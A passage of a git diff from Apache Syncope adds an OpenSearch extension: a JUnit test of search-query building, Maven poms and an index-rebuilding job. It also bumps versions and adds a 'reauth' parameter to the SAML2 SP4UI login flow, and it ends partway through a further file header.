b/ext/opensearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAOTest.java new file mode 100644 index 00000000000..f4c6ef4cab5 --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAOTest.java @@ -0,0 +1,398 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.doAnswer; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import java.io.IOException; +import java.util.List; +import java.util.Optional; +import java.util.Set; +import org.apache.commons.lang3.tuple.Triple; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; +import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.search.AnyCond; +import org.apache.syncope.core.persistence.api.dao.search.AttrCond; +import org.apache.syncope.core.persistence.api.dao.search.SearchCond; +import org.apache.syncope.core.persistence.api.entity.AnyUtils; +import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; +import org.apache.syncope.core.persistence.api.entity.DynRealm; +import org.apache.syncope.core.persistence.api.entity.EntityFactory; +import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; +import org.apache.syncope.core.persistence.api.entity.PlainSchema; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.jpa.entity.JPAPlainSchema; +import org.apache.syncope.core.persistence.jpa.entity.user.JPAUPlainAttrValue; +import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; +import org.apache.syncope.core.provisioning.api.utils.RealmUtils; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.opensearch.client.OpenSearchUtils; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.MockedStatic; +import org.mockito.Mockito; +import org.mockito.junit.jupiter.MockitoExtension; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.SearchType; +import org.opensearch.client.opensearch._types.query_dsl.BoolQuery; +import org.opensearch.client.opensearch._types.query_dsl.DisMaxQuery; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.QueryBuilders; +import org.opensearch.client.opensearch.core.SearchRequest; +import org.springframework.util.ReflectionUtils; + +@ExtendWith(MockitoExtension.class) +public class OpenSearchAnySearchDAOTest { + + @Mock + private RealmDAO realmDAO; + + @Mock + private DynRealmDAO dynRealmDAO; + + @Mock + private GroupDAO groupDAO; + + @Mock + private EntityFactory entityFactory; + + @Mock + private AnyUtilsFactory anyUtilsFactory; + + @Mock + private PlainAttrValidationManager validator; + + private OpenSearchAnySearchDAO searchDAO; + + @BeforeEach + protected void setupSearchDAO() { + searchDAO = new OpenSearchAnySearchDAO( + realmDAO, + dynRealmDAO, + null, + groupDAO, + null, + null, + entityFactory, + anyUtilsFactory, + validator, + null, + 10000); + } + + @Test + public void getAdminRealmsFilter4realm() throws IOException { + // 1. mock + Realm root = mock(Realm.class); + when(root.getFullPath()).thenReturn(SyncopeConstants.ROOT_REALM); + + when(realmDAO.findByFullPath(SyncopeConstants.ROOT_REALM)).thenReturn(root); + when(realmDAO.findDescendants(eq(SyncopeConstants.ROOT_REALM), anyString())).thenReturn(List.of("rootKey")); + + // 2. test + Set adminRealms = Set.of(SyncopeConstants.ROOT_REALM); + Triple, Set, Set> filter = + searchDAO.getAdminRealmsFilter(root, true, adminRealms, AnyTypeKind.USER); + + assertThat(new Query.Builder().disMax(QueryBuilders.disMax().queries( + new Query.Builder().term(QueryBuilders.term().field("realm").value(FieldValue.of("rootKey")).build()). + build()).build()).build()). + usingRecursiveComparison().isEqualTo(filter.getLeft().get()); + assertEquals(Set.of(), filter.getMiddle()); + assertEquals(Set.of(), filter.getRight()); + } + + @Test + public void getAdminRealmsFilter4dynRealm() { + // 1. mock + DynRealm dyn = mock(DynRealm.class); + when(dyn.getKey()).thenReturn("dyn"); + + when(dynRealmDAO.find("dyn")).thenReturn(dyn); + + // 2. test + Set adminRealms = Set.of("dyn"); + Triple, Set, Set> filter = + searchDAO.getAdminRealmsFilter(realmDAO.getRoot(), true, adminRealms, AnyTypeKind.USER); + assertFalse(filter.getLeft().isPresent()); + assertEquals(Set.of("dyn"), filter.getMiddle()); + assertEquals(Set.of(), filter.getRight()); + } + + @Test + public void getAdminRealmsFilter4groupOwner() { + Set adminRealms = Set.of(RealmUtils.getGroupOwnerRealm("/any", "groupKey")); + Triple, Set, Set> filter = + searchDAO.getAdminRealmsFilter(realmDAO.getRoot(), true, adminRealms, AnyTypeKind.USER); + assertFalse(filter.getLeft().isPresent()); + assertEquals(Set.of(), filter.getMiddle()); + assertEquals(Set.of("groupKey"), filter.getRight()); + } + + @Test + public void searchRequest4groupOwner() throws IOException { + // 1. mock + AnyUtils anyUtils = mock(AnyUtils.class); + when(anyUtils.getField("key")).thenReturn(ReflectionUtils.findField(JPAUser.class, "id")); + when(anyUtils.newPlainAttrValue()).thenReturn(new JPAUPlainAttrValue()); + + when(anyUtilsFactory.getInstance(AnyTypeKind.USER)).thenReturn(anyUtils); + + when(entityFactory.newEntity(PlainSchema.class)).thenReturn(new JPAPlainSchema()); + + when(groupDAO.findKey("groupKey")).thenReturn("groupKey"); + + try (MockedStatic utils = Mockito.mockStatic(OpenSearchUtils.class)) { + utils.when(() -> OpenSearchUtils.getAnyIndex( + SyncopeConstants.MASTER_DOMAIN, AnyTypeKind.USER)).thenReturn("master_user"); + + // 2. test + Set adminRealms = Set.of(RealmUtils.getGroupOwnerRealm("/any", "groupKey")); + + AnyCond anyCond = new AnyCond(AttrCond.Type.ISNOTNULL); + anyCond.setSchema("key"); + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER)). + searchType(SearchType.QueryThenFetch). + query(searchDAO.getQuery(realmDAO.findByFullPath("/any"), true, + adminRealms, SearchCond.getLeaf(anyCond), AnyTypeKind.USER)). + from(1). + size(10). + build(); + + assertThat( + new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().exists(QueryBuilders.exists().field("id").build()).build()). + filter(new Query.Builder().term(QueryBuilders.term().field("memberships"). + value(FieldValue.of("groupKey")).build()).build()).build()).build()). + usingRecursiveComparison(). + isEqualTo(request.query()); + } + } + + @Test + public void issueSYNCOPE1725() throws IOException { + // 1. mock + AnyUtils anyUtils = mock(AnyUtils.class); + when(anyUtils.getField("key")).thenReturn(ReflectionUtils.findField(JPAUser.class, "id")); + JPAUPlainAttrValue value = new JPAUPlainAttrValue(); + when(anyUtils.newPlainAttrValue()).thenReturn(value); + + when(anyUtilsFactory.getInstance(AnyTypeKind.USER)).thenReturn(anyUtils); + + when(entityFactory.newEntity(PlainSchema.class)).thenReturn(new JPAPlainSchema()); + + doAnswer(ic -> { + value.setStringValue(ic.getArgument(1)); + return null; + }).when(validator).validate(any(PlainSchema.class), anyString(), any(PlainAttrValue.class)); + + AnyCond cond1 = new AnyCond(AttrCond.Type.EQ); + cond1.setSchema("key"); + cond1.setExpression("1"); + + AnyCond cond2 = new AnyCond(AttrCond.Type.EQ); + cond2.setSchema("key"); + cond2.setExpression("2"); + + AnyCond cond3 = new AnyCond(AttrCond.Type.EQ); + cond3.setSchema("key"); + cond3.setExpression("3"); + + AnyCond cond4 = new AnyCond(AttrCond.Type.EQ); + cond4.setSchema("key"); + cond4.setExpression("4"); + + AnyCond cond5 = new AnyCond(AttrCond.Type.EQ); + cond5.setSchema("key"); + cond5.setExpression("5"); + + AnyCond cond6 = new AnyCond(AttrCond.Type.EQ); + cond6.setSchema("key"); + cond6.setExpression("6"); + + try (MockedStatic utils = Mockito.mockStatic(OpenSearchUtils.class)) { + utils.when(() -> OpenSearchUtils.getAnyIndex( + SyncopeConstants.MASTER_DOMAIN, AnyTypeKind.USER)).thenReturn("master_user"); + + Query query = searchDAO.getQuery( + SearchCond.getAnd( + List.of(SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3), + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))), + AnyTypeKind.USER); + assertEquals(Query.Kind.Bool, query._kind()); + assertEquals(6, ((BoolQuery) query._get()).filter().size()); + assertThat( + new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("1")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("2")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("3")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("4")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("5")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("6")).build()).build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getOr( + List.of(SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3), + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))), + AnyTypeKind.USER); + assertEquals(Query.Kind.DisMax, query._kind()); + assertEquals(6, ((DisMaxQuery) query._get()).queries().size()); + assertThat( + new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("1")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("2")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("3")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("4")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("5")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id").value(FieldValue.of("6")).build()).build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getAnd(List.of( + SearchCond.getOr(List.of( + SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3))), + SearchCond.getOr(List.of( + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))))), + AnyTypeKind.USER); + assertEquals(Query.Kind.Bool, query._kind()); + assertEquals(2, ((BoolQuery) query._get()).filter().size()); + Query left = ((BoolQuery) query._get()).filter().get(0); + assertEquals(Query.Kind.DisMax, left._kind()); + assertEquals(3, ((DisMaxQuery) left._get()).queries().size()); + Query right = ((BoolQuery) query._get()).filter().get(1); + assertEquals(Query.Kind.DisMax, right._kind()); + assertEquals(3, ((DisMaxQuery) right._get()).queries().size()); + assertThat( + new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("1")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("2")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("3")).build()).build()).build()). + build()). + filter(new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("4")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("5")).build()).build()). + queries(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("6")).build()).build()).build()). + build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + + query = searchDAO.getQuery( + SearchCond.getOr(List.of( + SearchCond.getAnd(List.of( + SearchCond.getLeaf(cond1), + SearchCond.getLeaf(cond2), + SearchCond.getLeaf(cond3))), + SearchCond.getAnd(List.of( + SearchCond.getLeaf(cond4), + SearchCond.getLeaf(cond5), + SearchCond.getLeaf(cond6))))), + AnyTypeKind.USER); + assertEquals(Query.Kind.DisMax, query._kind()); + assertEquals(2, ((DisMaxQuery) query._get()).queries().size()); + left = ((DisMaxQuery) query._get()).queries().get(0); + assertEquals(Query.Kind.Bool, left._kind()); + assertEquals(3, ((BoolQuery) left._get()).filter().size()); + right = ((DisMaxQuery) query._get()).queries().get(1); + assertEquals(Query.Kind.Bool, right._kind()); + assertEquals(3, ((BoolQuery) right._get()).filter().size()); + assertThat( + new Query.Builder().disMax(QueryBuilders.disMax(). + queries(new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("1")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("2")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("3")).build()).build()).build()). + build()). + queries(new Query.Builder().bool(QueryBuilders.bool(). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("4")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("5")).build()).build()). + filter(new Query.Builder().term( + QueryBuilders.term().field("id"). + value(FieldValue.of("6")).build()).build()).build()). + build()). + build()).build()). + usingRecursiveComparison().isEqualTo(query); + } + } +} diff --git a/ext/opensearch/pom.xml b/ext/opensearch/pom.xml new file mode 100644 index 00000000000..01fb5ea4478 --- /dev/null +++ b/ext/opensearch/pom.xml @@ -0,0 +1,47 @@ + + + + + 4.0.0 + + + org.apache.syncope + syncope-ext + 3.0.17-SNAPSHOT + + + Apache Syncope Ext: OpenSearch + Apache Syncope Ext: OpenSearch + org.apache.syncope.ext + syncope-ext-opensearch + pom + + + ${basedir}/../.. + + + + client-opensearch + persistence-jpa + provisioning-java + logic + + + diff --git a/ext/opensearch/provisioning-java/pom.xml b/ext/opensearch/provisioning-java/pom.xml new file mode 100644 index 00000000000..90b992cf1f1 --- /dev/null +++ b/ext/opensearch/provisioning-java/pom.xml @@ -0,0 +1,62 @@ + + + + + 4.0.0 + + + org.apache.syncope.ext + syncope-ext-opensearch + 3.0.17-SNAPSHOT + + + Apache Syncope Ext: OpenSearch Provisioning Java + Apache Syncope Ext: OpenSearch Provisioning Java + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-provisioning-java + jar + + + ${basedir}/../../.. + + + + + org.apache.syncope.core + syncope-core-provisioning-java + ${project.version} + + + + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-client + ${project.version} + + + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + + + + diff --git a/ext/opensearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/OpenSearchReindex.java b/ext/opensearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/OpenSearchReindex.java new file mode 100644 index 00000000000..ae3d63e960d --- /dev/null +++ b/ext/opensearch/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/OpenSearchReindex.java @@ -0,0 +1,241 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.job; + +import java.io.IOException; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.task.SchedTask; +import org.apache.syncope.core.persistence.api.entity.task.TaskExec; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.opensearch.client.OpenSearchIndexManager; +import org.apache.syncope.ext.opensearch.client.OpenSearchUtils; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.mapping.TypeMapping; +import org.opensearch.client.opensearch.core.BulkRequest; +import org.opensearch.client.opensearch.core.BulkResponse; +import org.opensearch.client.opensearch.indices.IndexSettings; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.springframework.beans.factory.annotation.Autowired; + +/** + * Remove and rebuild all OpenSearch indexes with information from existing users, groups and any objects. + */ +public class OpenSearchReindex extends AbstractSchedTaskJobDelegate { + + @Autowired + protected OpenSearchClient client; + + @Autowired + protected OpenSearchIndexManager indexManager; + + @Autowired + protected OpenSearchUtils utils; + + @Autowired + protected UserDAO userDAO; + + @Autowired + protected GroupDAO groupDAO; + + @Autowired + protected AnyObjectDAO anyObjectDAO; + + @Autowired + protected RealmDAO realmDAO; + + protected IndexSettings userSettings() throws IOException { + return indexManager.defaultSettings(); + } + + protected IndexSettings groupSettings() throws IOException { + return indexManager.defaultSettings(); + } + + protected IndexSettings anyObjectSettings() throws IOException { + return indexManager.defaultSettings(); + } + + protected IndexSettings realmSettings() throws IOException { + return indexManager.defaultSettings(); + } + + protected IndexSettings auditSettings() throws IOException { + return indexManager.defaultSettings(); + } + + protected TypeMapping userMapping() throws IOException { + return indexManager.defaultAnyMapping(); + } + + protected TypeMapping groupMapping() throws IOException { + return indexManager.defaultAnyMapping(); + } + + protected TypeMapping anyObjectMapping() throws IOException { + return indexManager.defaultAnyMapping(); + } + + protected TypeMapping realmMapping() throws IOException { + return indexManager.defaultRealmMapping(); + } + + protected TypeMapping auditMapping() throws IOException { + return indexManager.defaultAuditMapping(); + } + + @Override + protected String doExecute(final boolean dryRun, final String executor, final JobExecutionContext context) + throws JobExecutionException { + + if (!dryRun) { + setStatus("Start rebuilding indexes"); + + try { + indexManager.createRealmIndex(AuthContextUtils.getDomain(), realmSettings(), realmMapping()); + + int realms = realmDAO.count(); + String rindex = OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain()); + setStatus("Indexing " + realms + " realms under " + rindex + "..."); + for (int page = 1; page <= (realms / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + BulkRequest.Builder bulkRequest = new BulkRequest.Builder(); + + for (String realm : realmDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + bulkRequest.operations(op -> op.index(idx -> idx. + index(rindex). + id(realm). + document(utils.document(realmDAO.find(realm))))); + } + + try { + BulkResponse response = client.bulk(bulkRequest.build()); + LOG.debug("Index successfully created for {} [{}/{}]: {}", + rindex, page, AnyDAO.DEFAULT_PAGE_SIZE, response); + } catch (Exception e) { + LOG.error("Could not create index for {} [{}/{}]: {}", + rindex, page, AnyDAO.DEFAULT_PAGE_SIZE, e); + } + } + + indexManager.createAnyIndex( + AuthContextUtils.getDomain(), AnyTypeKind.USER, userSettings(), userMapping()); + + int users = userDAO.count(); + String uindex = OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.USER); + setStatus("Indexing " + users + " users under " + uindex + "..."); + for (int page = 1; page <= (users / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + BulkRequest.Builder bulkRequest = new BulkRequest.Builder(); + + for (String user : userDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + bulkRequest.operations(op -> op.index(idx -> idx. + index(uindex). + id(user). + document(utils.document(userDAO.find(user))))); + } + + try { + BulkResponse response = client.bulk(bulkRequest.build()); + LOG.debug("Index successfully created for {} [{}/{}]: {}", + uindex, page, AnyDAO.DEFAULT_PAGE_SIZE, response); + } catch (Exception e) { + LOG.error("Could not create index for {} [{}/{}]: {}", + uindex, page, AnyDAO.DEFAULT_PAGE_SIZE, e); + } + } + + indexManager.createAnyIndex( + AuthContextUtils.getDomain(), AnyTypeKind.GROUP, groupSettings(), groupMapping()); + + int groups = groupDAO.count(); + String gindex = OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.GROUP); + setStatus("Indexing " + groups + " groups under " + gindex + "..."); + for (int page = 1; page <= (groups / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + BulkRequest.Builder bulkRequest = new BulkRequest.Builder(); + + for (String group : groupDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + bulkRequest.operations(op -> op.index(idx -> idx. + index(gindex). + id(group). + document(utils.document(groupDAO.find(group))))); + } + + try { + BulkResponse response = client.bulk(bulkRequest.build()); + LOG.debug("Index successfully created for {} [{}/{}]: {}", + gindex, page, AnyDAO.DEFAULT_PAGE_SIZE, response); + } catch (Exception e) { + LOG.error("Could not create index for {} [{}/{}]: {}", + gindex, page, AnyDAO.DEFAULT_PAGE_SIZE, e); + } + } + + indexManager.createAnyIndex( + AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT, anyObjectSettings(), anyObjectMapping()); + + int anyObjects = anyObjectDAO.count(); + String aindex = OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), AnyTypeKind.ANY_OBJECT); + setStatus("Indexing " + anyObjects + " any objects under " + aindex + "..."); + for (int page = 1; page <= (anyObjects / AnyDAO.DEFAULT_PAGE_SIZE) + 1; page++) { + BulkRequest.Builder bulkRequest = new BulkRequest.Builder(); + + for (String anyObject : anyObjectDAO.findAllKeys(page, AnyDAO.DEFAULT_PAGE_SIZE)) { + bulkRequest.operations(op -> op.index(idx -> idx. + index(aindex). + id(anyObject). + document(utils.document(anyObjectDAO.find(anyObject))))); + } + + try { + BulkResponse response = client.bulk(bulkRequest.build()); + LOG.debug("Index successfully created for {} [{}/{}]: {}", + aindex, page, AnyDAO.DEFAULT_PAGE_SIZE, response); + } catch (Exception e) { + LOG.error("Could not create index for {} [{}/{}]: {}", + aindex, page, AnyDAO.DEFAULT_PAGE_SIZE, e); + } + } + + indexManager.createAuditIndex(AuthContextUtils.getDomain(), auditSettings(), auditMapping()); + + setStatus("Rebuild indexes for domain " + AuthContextUtils.getDomain() + " successfully completed"); + + return "Indexes created:\n" + + " " + rindex + " [" + realms + "]\n" + + " " + uindex + " [" + users + "]\n" + + " " + gindex + " [" + groups + "]\n" + + " " + aindex + " [" + anyObjects + "]\n" + + " " + OpenSearchUtils.getAuditIndex(AuthContextUtils.getDomain()); + } catch (Exception e) { + throw new JobExecutionException("While rebuilding index for domain " + AuthContextUtils.getDomain(), e); + } + } + + return "SUCCESS"; + } + + @Override + protected boolean hasToBeRegistered(final TaskExec execution) { + return true; + } +} diff --git a/ext/pom.xml b/ext/pom.xml index c5489da254f..cfe07fa56ff 100644 --- a/ext/pom.xml +++ b/ext/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext @@ -81,6 +81,7 @@ under the License. saml2sp4ui oidcc4ui elasticsearch + opensearch scimv2 diff --git a/ext/saml2sp4ui/client-common-ui/pom.xml b/ext/saml2sp4ui/client-common-ui/pom.xml index 508347b04ad..ccde074bc38 100644 --- a/ext/saml2sp4ui/client-common-ui/pom.xml +++ b/ext/saml2sp4ui/client-common-ui/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Common UI diff --git a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/SAML2SP4UIConstants.java b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/SAML2SP4UIConstants.java index 073dca6388b..c67fbd0b92e 100644 --- a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/SAML2SP4UIConstants.java +++ b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/SAML2SP4UIConstants.java @@ -24,6 +24,8 @@ public final class SAML2SP4UIConstants { public static final String PARAM_IDP = "idp"; + public static final String PARAM_REAUTH = "reauth"; + public static final String SAML2SP4UI_JWT = "saml2sp4ui.jwt"; public static final String SAML2SP4UI_SLO_SUPPORTED = "saml2sp4ui.sloSupported"; diff --git a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractSAMLSSOLoginFormPanel.java b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractSAMLSSOLoginFormPanel.java index 8f3d77a07eb..46673ed7519 100644 --- a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractSAMLSSOLoginFormPanel.java +++ b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/panels/AbstractSAMLSSOLoginFormPanel.java @@ -69,10 +69,10 @@ public String getIdValue(final SAML2SP4UIIdPTO object, final int index) { @Override public SAML2SP4UIIdPTO getObject( - final String id, final IModel> choices) { + final String id, final IModel> choices) { return choices.getObject().stream(). - filter(idp -> idp.getEntityID().equals(id)).findFirst().orElse(null); + filter(idp -> idp.getEntityID().equals(id)).findFirst().orElse(null); } }); idps.getField().add(new AjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { @@ -84,9 +84,10 @@ protected void onUpdate(final AjaxRequestTarget target) { if (model.getObject() != null) { try { RequestCycle.get().scheduleRequestHandlerAfterCurrent(new RedirectRequestHandler( - UrlUtils.rewriteToContextRelative(SAML2SP4UIConstants.URL_CONTEXT + "/login?idp=" - + URLEncoder.encode( - model.getObject().getEntityID(), StandardCharsets.UTF_8), + UrlUtils.rewriteToContextRelative(SAML2SP4UIConstants.URL_CONTEXT + "/login?" + + SAML2SP4UIConstants.PARAM_IDP + "=" + URLEncoder.encode( + model.getObject().getEntityID(), StandardCharsets.UTF_8) + + "&" + SAML2SP4UIConstants.PARAM_REAUTH + "=" + reauth, RequestCycle.get()))); } catch (Exception e) { LOG.error("Could not redirect to the selected IdP {}", model.getObject().getEntityID(), e); diff --git a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LoginResource.java b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LoginResource.java index 0bd1b6f344c..aa2b6e512bc 100644 --- a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LoginResource.java +++ b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LoginResource.java @@ -35,8 +35,10 @@ public class LoginResource extends AbstractSAML2SP4UIResource { protected ResourceResponse newResourceResponse(final Attributes attributes) { String idp = attributes.getRequest().getQueryParameters(). getParameterValue(SAML2SP4UIConstants.PARAM_IDP).toString(); + boolean reauth = attributes.getRequest().getQueryParameters(). + getParameterValue(SAML2SP4UIConstants.PARAM_REAUTH).toBoolean(false); SAML2SP4UIService service = BaseSession.class.cast(Session.get()).getAnonymousService(SAML2SP4UIService.class); - return send(service.createLoginRequest(spEntityID(attributes), SAML2SP4UIConstants.URL_CONTEXT, idp)); + return send(service.createLoginRequest(spEntityID(attributes), SAML2SP4UIConstants.URL_CONTEXT, idp, reauth)); } } diff --git a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LogoutResource.java b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LogoutResource.java index 21680e59fff..d66971fb33a 100644 --- a/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LogoutResource.java +++ b/ext/saml2sp4ui/client-common-ui/src/main/java/org/apache/syncope/client/ui/commons/resources/saml2sp4ui/LogoutResource.java @@ -39,7 +39,7 @@ public abstract class LogoutResource extends AbstractSAML2SP4UIResource { protected abstract Class getLogoutPageClass(); - private ResourceResponse doLogout(final SAML2Response saml2Response) { + protected ResourceResponse doLogout(final SAML2Response saml2Response) { SAML2SP4UIService service = BaseSession.class.cast(Session.get()).getAnonymousService(SAML2SP4UIService.class); service.validateLogoutResponse(saml2Response); diff --git a/ext/saml2sp4ui/client-console/pom.xml 